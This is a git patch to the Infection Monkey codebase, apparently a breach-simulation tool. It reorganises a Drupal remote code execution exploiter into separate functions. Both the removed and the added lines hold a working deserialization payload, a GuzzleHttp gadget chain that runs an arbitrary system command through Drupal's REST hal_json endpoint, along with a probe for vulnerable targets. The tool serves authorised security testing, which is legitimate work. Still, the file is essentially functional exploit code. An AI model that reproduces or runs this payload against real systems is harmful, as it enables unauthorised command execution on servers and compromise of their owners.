From cf776063afaa7842ea1a31f8ba461793d2bf3e25 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 1 Sep 2020 12:17:01 +0300 Subject: [PATCH] Reformat + extract payload building to functions --- monkey/infection_monkey/exploit/drupal.py | 126 ++++++++++++---------- 1 file changed, 68 insertions(+), 58 deletions(-) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 1ed0d499e..3e23ece6d 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -18,27 +18,6 @@ __author__ = 'Ophir Harpaz' LOG = logging.getLogger(__name__) -def check_drupal_cache(r: requests.Response) -> bool: - """ - Check if a response had the cache header. - """ - return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT' - - -def find_articles(base_url: str, lower: int = 1, upper: int = 10): - """ Find a target article that does not 404 and is not cached """ - articles = set() - while lower < upper: - u = urljoin(base_url, str(lower)) - r = requests.get(u) - if r.status_code == 200: # found an article - articles.add(lower) - if check_drupal_cache(r): - LOG.info(f'Found a cached article at: {lower}, skipping') - lower += 1 - return articles - - class DrupalExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] _EXPLOITED_SERVICE = 'Drupal Server' @@ -88,22 +67,7 @@ class DrupalExploiter(WebRCE): :param url: Drupal's URL and port :return: Vulnerable URL if exploitable, otherwise False """ - payload = { - "_links": { - "type": { - "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}" - } - }, - "type": { - "target_id": "article" - }, - "title": { - "value": "My Article" - }, - "body": { - "value": "" - } - } + payload = build_exploitability_check_payload(url) response = requests.get(f'{url}?_format=hal_json', json=payload, @@ -119,27 +83,7 @@ class DrupalExploiter(WebRCE): # pad a easy search replace output: cmd = f'echo {ID_STRING} && {command}' base = remove_port(url) - payload = { - "link": [ - { - "value": "link", - "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000" - "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"" - "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:" - "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";" - "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000" - "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000" - "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"" - "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" - "".replace('|size|', str(len(cmd))).replace('|command|', cmd) - } - ], - "_links": { - "type": { - "href": f"{urljoin(base, '/rest/type/shortcut/default')}" - } - } - } + payload = build_cmd_execution_payload(base, cmd) LOG.info(payload) @@ -162,3 +106,69 @@ class DrupalExploiter(WebRCE): :return: vulnerable URL to exploit """ return self.vulnerable_urls.pop() + + +def check_drupal_cache(r: requests.Response) -> bool: + """ + Check if a response had the cache header. + """ + return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT' + + +def find_articles(base_url: str, lower: int = 1, upper: int = 10): + """ Find a target article that does not 404 and is not cached """ + articles = set() + while lower < upper: + u = urljoin(base_url, str(lower)) + r = requests.get(u) + if r.status_code == 200: # found an article + articles.add(lower) + if check_drupal_cache(r): + LOG.info(f'Found a cached article at: {lower}, skipping') + lower += 1 + return articles + + +def build_exploitability_check_payload(url): + payload = { + "_links": { + "type": { + "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}" + } + }, + "type": { + "target_id": "article" + }, + "title": { + "value": "My Article" + }, + "body": { + "value": "" + } + } + return payload + + +def build_cmd_execution_payload(base, cmd): + payload = { + "link": [ + { + "value": "link", + "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000" + "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"" + "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:" + "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";" + "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000" + "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000" + "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"" + "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" + "".replace('|size|', str(len(cmd))).replace('|command|', cmd) + } + ], + "_links": { + "type": { + "href": f"{urljoin(base, '/rest/type/shortcut/default')}" + } + } + } + return payload